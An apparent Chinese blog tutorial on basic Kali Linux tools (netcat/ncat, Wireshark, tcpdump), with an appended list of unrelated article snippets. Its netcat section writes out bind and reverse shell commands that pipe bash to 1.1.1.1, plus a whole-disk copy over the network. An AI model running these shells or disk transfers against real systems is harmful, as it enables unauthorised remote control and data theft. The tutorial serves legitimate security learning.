Kali Linux 从入门到精通(六)-基本工具使用

2023-05-16

Kali Linux 从入门到精通(六)-基本工具使用

基本工具

  • 常用工具:
    • 经常使用且功能强大
    • 安全从业者必不可少的帮手
    • Nc/ncat
    • Wireshark
    • Tcpdump

NETCAT-NC(瑞士军刀)

  • 基本介绍
    • 网络工具中的瑞士军刀-小身材,大智慧
    • 侦听模式/传输模式
    • telnet/获取banner模式
    • 传输文本信息
    • 传输文件/目录
    • 加密传输文件
    • 远程控制/木马
    • 加密所用流量
    • 流媒体服务器
    • 远程克隆硬盘
  • 一波操作
    • NC-TELNET/BANNER
      • nc-nv 1.1.1.1 110 (pop3 服务器)
      • nc-nv 1.1.1.1 25 (smtp 邮件服务器)
      • nc-nv 1.1.1.1 80 (网站)
      • nc -h 查看nc可用参数
    • NC-传输文本信息
      • A:nc -l -p 4444(打开4444端口) 使用netstat -pantu | grep 4444 查看端口是否打开
      • B:nc -nv 1.1.1.1 4444
      • nc -q 传输后直接断连接
      • 远程电子取证信息收集
    • NC-传输文件/目录
      • 传输文件
        • A:nc -lp 333>test.mp4
        • B:nc -nv 1.1.1.1 333 < test.mp4 -q 1
        • or
        • A: nc-q l -lp 333<a.mp4
        • B: nc-nv 1.1.1.1 333>2.mp4
      • 传输目录
        • A:tar -cvf -music/ | nc-lp 333 -q 1
        • B:nc -nv 1.1.1.1 333 | tar -xvf -
      • 加密传文件
        • A:nc -lp 333 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
        • B:mcrypt --flush -Fbq -a rjindael-256-m ecb <a.mp4 | nc -nv 1.1.1.1 333 -q 1(对称加密算法)
    • NC-流媒体服务
      • A:cat 1.mp4 | nc -lp 333
      • B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
    • NC-端口扫描
      • nc -nvz 1.1.1.1-65535 (探测tcp端口)
      • nc -nvzu 1.1.1.1-1024 (探测udp端口)
    • NC-远程克隆硬盘
      • A(接收端):nc -lp 333 | dd of=/dev/sda
      • B(被取证电脑):dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
      • 远程电子取证,可以将目标服务器远程复制,或者内存
    • NC-远程控制
      • 正向:
        • A(服务器):nc -lp 333 -c bash
        • B(客户端):nc 1.1.1.1 333
      • 反向:
        • A:nc -lp 333
        • B:nc 1.1.1.1 333 -c bash
      • 注:windows用户把bash改成cmd
      • 适用于内网访问外网
    • NC-NCAT
      • NC缺乏加密和身份验证(肉鸡可能被窃取)的能力

      • Ncat包含于nmap工具包中(可实现加密,身份验证,每次会重新生成指纹信息)

      • A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl

      • B:ncat -nv 1.1.1.1 333 --ssl

      • 不同系统/平台的nc参数功能不尽相同

WIRESHARK(后续补充)-被动扫描大法

  • 基本介绍
    • 抓包嗅探协议分析
    • 安全专家必备的技能
    • 抓包引擎
      • Libcap9----Linux
      • Winpcap10—Windows
    • 解码能力(评价之根本)
  • 基本使用方法
    • 启动
    • 选择抓包网卡
    • 混杂模式
    • 实时抓包
    • 保存和分析捕获文件
    • 首选项
  • WIRESHARK-筛选器
    • 过滤掉干扰的数据包
    • 抓包筛选器
    • 显示筛选器
  • WIRESHARK-常见协议包
    • 数据的分层结构
    • ARP
    • ICMP
    • TCP(三次握手)
    • UDP
    • DNS
    • HTTP(明文协议)
    • FTP
  • WIRESHARK-TCP
    • 数据流
      • HTTP
      • SMTP
      • POP3
      • SSL
  • WIRESHARK-信息统计
    • 节点数
    • 协议分布
    • 包大小分布
    • 会话连接
    • 解码方式
    • 专家系统
  • WIRESHARK-实践
    • 抓包对比nc,ncat加密与不加密的流量
    • 企业抓包部署方案(采用商业化软件)
      • Sniffer
      • Cace/riverebed (底层基于wireshark)
      • Cascad pilot(大流量抓包++)
      • 镜像端口(Cisco)

TCPDUMP

  • 基本介绍
    • No-GUI的抓包分析工具
    • Linux,Unix系统默认安装
  • TCPDUMP-抓包
    • 抓包
      • 默认只抓68个字节
      • tcpdump -i eth0 -s 0 -2 file.pcap
      • tcpdump -i eth0 port 22
    • 读取抓包文件
      • tcpdump -r file.pcap
  • TCPDUMP-筛选
    • tcpdump -n http.cap | awk ‘{print $3}’ | sort -u
    • tcpdump -n src host [ip address] -r http.cap
    • tcpdump -n dst host [ip address] -r http.cap
    • tcpdump -n port 53 -r http.cap
    • tcpdump -nX port 80 -r http.cap
  • TCP 高级筛选
    • tcpdump -A -n ‘tcp[13]=24’ -r http.cap
  • 过程文档记录
    • Dradis(Kali 自带)
      • 短期临时小团队资源共享
      • 各种插件导入问价
    • Keepnote
    • Truecrypt(注重信息保密)
    • 团队中需要文档人员
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Kali Linux 从入门到精通(六)-基本工具使用 的相关文章

  • ArchLinux图形界面安装与美化:i3+polybar

    arch只提供了tty xff0c 我们需要自己配置一个漂亮的桌面 你可以选择继承好的GNOME Deepin等桌面 但是他们都包含了许多你可能并不能用到的工具和插件 i3wm是一个窗口管理器 xff0c 它提供了最基础的窗口管理功能 你可
  • ceph学习(1)——手动部署ceph分布式存储集群(使用本地源离线安装),一次成功!!

    手动搭建适合已经使用自动部署工具成功搭建了集群 xff0c 想加深对ceph理解的同学 xff0c 手动搭建ceph可以更灵活的配置ceph集群 xff0c 现在就开始吧 xff01 xff01 一 环境准备 1 服务器配置 xff1a 三
  • iOS开发 - touchBegan事件判断点击的位置在View上还是在View的子View上

    span class hljs pp span class hljs params style color rgb 102 0 102 void span touchesBegan span class hljs params style
  • SQL Server解析Json格式数据

    主要介绍5个函数 xff1a openJson 打开Json字符串IsJson 判断一个字符串是不是合法的Json格式 是返回1 xff0c 否返回0 xff0c null返回null Json Value 从Json字符串中提取值 Jso
  • openwrt 无线桥接(AP)

    无线桥接常见的有三种模式 1 AP模式 AP模式其实是Access Point的简称 xff0c 意思是 xff1a 访问接入点 而无线网桥的AP模式 xff0c 也就是利用无线网桥做无线信号的接入点了 那么 xff0c 究竟是什么东西接入
  • macOS下使用anaconda相关系列

    创建虚拟环境 conda create n 环境名 python 61 3 6 进入虚拟环境 source bash profile source activate 环境名 其中bash profile是安装anaconda时候默认生成的环
  • Windows 安装NET4.6/4.7/4.8 时间戳签名和或证书无法验证或已损坏

    时间戳签名和或证书无法验证或已损坏 问题版本 xff1a 事件 xff1a 解决办法下载补丁程序 xff1a 安装KB2813430补丁 注意事项补丁需要重启设备生效 2021 10 11 by 崔斐然 问题 版本 xff1a win7专业
  • 在 Ubuntu Linux 中使用 PPA(完全指南)

    译 xff1a 在 Ubuntu Linux 中使用 PPA xff08 完全指南 xff09 作者 xff1a Abhishek Prakash 自由和开放源码软件的创造者 一个热心的 Linux 用户和开源推动者 从阿加莎 克里斯蒂和夏
  • RDP(远程桌面)优化

    RDP连接优化 一 优化连接时间二 优化集显帧率三 开启RemoteFX USB重定向 xff08 如果有需要 xff09 四 MacOS系统RDP超高清显示 2022 03 31 by 崔斐然 一 优化连接时间 1 客户端 xff1a 关
  • 【FRP】windowsServer部署FRP

    FRP windowsServer部署FRP 1 下载FRP nssm2 服务器端部署过程 xff1a 3 客户端部署过程 xff1a 4 卸载服务 2022 08 24 by 崔斐然 1 下载FRP nssm 下载地址 xff1a FRP
  • 【FRP】群晖docker中部署Frp

    2022 08 24 by 崔斐然 0 xff1a 需求 公司有台笔记本 xff0c 现在疫情期间居家办公 我用的MacBook RDP客户端做的非常好用 xff0c 如相互粘贴文件 文字等 xff0c MacBook通过远程桌面连接公司内
  • Debian 9/10快速开启Google BBR的方法,实现TCP高效单边加速

    BBR 是谷歌公司的某个员工研发出来的服务器单边加速算法 xff0c Linux内核从4 9版开始集成BBR算法 相比锐速BBR的加速效果更为温和 xff0c 并且占用内存小对服务器压力也很小 xff0c 当时理想情况下是可以跑满整个服务器
  • 基于机器学习的捡球机器人设计与实现(探索)第4篇——机械设计)

    2019 03 18 by 崔斐然 原以为软件很复杂 机械好搞 结果发现 都难搞 一次次想出办法又一次次被自己否定 我tm想静静
  • 人脸识别之Hog特征+SVM分类器训练与使用

    原文来自 xff1a https juejin im post 5b0e70686fb9a00a1451c8e7 计算机视觉 人脸识别 xff08 Hog特征 43 SVM分类器 xff09 一 SVM支持向量机 1 SVM原理 在机器学习
  • python利用PIL实现对图片截图

    在对图像处理时 xff0c 我们有时候需要对图片某区域进行截图 xff0c 话不多说 xff0c 直接上代码 xff1a from PIL import Image import sys 先将 input image 填充为正方形 def
  • PowerMock介绍和用法

    PowerMock PowerMock简介一 PowerMock xff1f 二 Mock底层原理1 Mockito2 PowerMock原理 三 应用场景1 依赖问题 xff0c 打桩 2 工程质量 PowerMock使用步骤一 添加依赖
  • Windows10 WSL2磁盘迁移

    一 使用 WSL 命令行工具 在 Windows 10 版本 1903 xff08 2019 年 4 月更新 xff09 或更高版本中 xff0c 您可以使用wsl exe命令行工具 1 导出分布 使用要移动的分发创建一个 tar文件wsl
  • linux下搭建confluence

    一 Java环境 java环境 二 mysql 2 1 安装前的检查和准备工作 2 1 1检查 1 是否安装过mysql xff1a rpm qa grep mysql 2 如果有的话 xff0c 就删除 xff08 XXXX是自己的mys
  • 译:SOME/IP 技术细节

    译 xff1a SOME IP 技术细节 原文 SOME IP technical details SOME IP Scalable service Oriented MiddlewarE over IP 基于 IP 可扩展面向服务中间件
  • Python requests_toolbelt的使用

    multipart form data Encoder The main attraction is a streaming multipart form data object MultipartEncoder Its API looks

随机推荐